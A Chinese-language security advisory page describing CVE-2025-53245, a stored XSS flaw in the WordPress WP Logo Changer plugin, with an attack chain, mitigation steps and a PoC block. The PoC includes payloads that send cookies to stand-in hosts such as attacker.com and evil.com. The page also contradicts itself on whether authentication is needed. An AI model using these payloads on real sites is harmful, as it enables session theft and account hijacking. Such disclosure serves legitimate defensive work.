IPBUF安全漏洞报告
English
CVE-2025-53245 CVSS 7.1 高危

CVE-2025-53245: WordPress WP Logo Changer插件存储型XSS漏洞

披露日期: 2025-11-06

漏洞信息

漏洞编号
CVE-2025-53245
漏洞类型
存储型XSS (Stored Cross-site Scripting)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WP Logo Changer (am-login-logo) WordPress插件

相关标签

CVE-2025-53245存储型XSSCross-site ScriptingWordPress插件漏洞WP Logo Changeram-login-logo高危漏洞Web安全跨站脚本攻击CVSS 7.1

漏洞概述

CVE-2025-53245是WordPress平台下WP Logo Changer插件中的一个高危存储型跨站脚本(Stored XSS)漏洞。该漏洞由安全研究员[email protected]发现并报告,CVSS评分达到7.1分,属于高危级别。漏洞根源在于插件在处理用户输入的Logo图像URL时,未对输入数据进行充分的过滤和验证,导致攻击者可以在Logo配置处注入恶意JavaScript代码。由于该Logo设置项会在用户访问网站登录页面时被加载执行,恶意脚本会被永久存储在网站数据库中,任何访问登录页面的用户都会触发该XSS payload。此漏洞影响范围涵盖了从插件发布之初到1.2版本的所有用户,攻击者无需任何认证即可利用此漏洞,但需要诱导管理员或用户访问特定的登录页面才能完成攻击链。存储型XSS相比反射型XSS危害更大,因为恶意代码会持久存在于目标系统中,即使网站重新启动或用户会话结束,攻击仍然有效。

技术细节

该存储型XSS漏洞存在于WP Logo Changer插件的Logo URL输入字段中。攻击者通过在插件的Logo配置界面(通常是wp-admin自定义Logo设置页面)输入包含恶意JavaScript代码的Logo URL,例如使用data URI或javascript:协议伪URL。插件在保存设置时未对该输入进行HTML实体编码或白名单验证,直接将用户输入存储到WordPress数据库的options表中。当网站前端调用get_option函数获取logo设置并通过echo或print函数输出到HTML页面时,恶意脚本会被浏览器解析执行。由于该输出点位于登录页面(wp-login.php),任何访问登录页面的用户都会成为潜在受害者。攻击者可利用此漏洞窃取用户会话Cookie、劫持管理员账户、进行钓鱼攻击或植入更多恶意代码。漏洞的技术关键点在于:1) 输入点位于后台管理界面;2) 输出点在登录页面前端;3) 无需CSRF token保护或输入过滤。

攻击链分析

STEP 1
步骤1
攻击者访问目标WordPress网站的管理后台或拦截管理员的登录请求获取后台访问权限
STEP 2
步骤2
导航至WP Logo Changer插件的Logo设置页面(通常位于外观或设置菜单下)
STEP 3
步骤3
在Logo URL输入字段中注入包含恶意JavaScript代码的payload,如<img src=x onerror=alert(document.cookie)>
STEP 4
步骤4
保存设置,恶意代码被存储到WordPress数据库的options表中,由于未进行输出编码,代码被永久保存
STEP 5
步骤5
当普通用户或管理员访问网站的登录页面(wp-login.php)时,浏览器会解析并执行存储的恶意脚本
STEP 6
步骤6
攻击者通过恶意脚本窃取用户的会话Cookie、凭据或其他敏感信息,进而劫持账户或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-53245 PoC: Stored XSS in WP Logo Changer Plugin --> <!-- Login to WordPress admin panel, go to Logo settings, and use this payload --> <!-- Method 1: Using javascript: protocol --> javascript:alert(document.cookie) <!-- Method 2: Using img onerror event --> <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)> <!-- Method 3: Using SVG element --> <svg/onload=fetch('https://attacker.com/log?c='+btoa(document.cookie))> <!-- Method 4: Stored XSS in logo URL field --> " onmouseover="alert(document.domain) " x=" <!-- Exploitation via WordPress REST API (if authenticated) --> <!-- PUT /wp-json/wp/v2/settings --> <!-- {"options": {"am_login_logo_url": "<script>fetch('https://evil.com?c='+document.cookie)</script>"}} --> <!-- Automated detection script --> import requests target = 'http://target-wordpress-site.com' # Check if plugin is installed check_url = f'{target}/wp-content/plugins/am-login-logo/readme.txt' r = requests.get(check_url) if 'WP Logo Changer' in r.text: print('[+] WP Logo Changer plugin detected') # Check vulnerable version if 'Version:' in r.text: version = r.text.split('Version:')[1].split('\n')[0].strip() print(f'[+] Version: {version}') if version.replace('.','').isdigit() and float(version) <= 1.2: print('[!] Plugin is vulnerable to CVE-2025-53245')

影响范围

WP Logo Changer (am-login-logo) 所有版本 <= 1.2

防御指南

临时缓解措施
在官方安全补丁发布之前,建议采取以下临时缓解措施:1) 临时禁用WP Logo Changer插件,使用WordPress内置的自定义功能替代Logo更换;2) 使用WordPress安全插件(如Wordfence、Sucuri)开启防火墙规则阻止XSS攻击;3) 在wp-config.php中添加CSP头部限制脚本执行;4) 限制管理后台访问,对wp-login.php实施双因素认证;5) 定期检查数据库options表中am_login_logo相关设置是否被篡改;6) 监控服务器日志,关注异常的登录行为和API请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表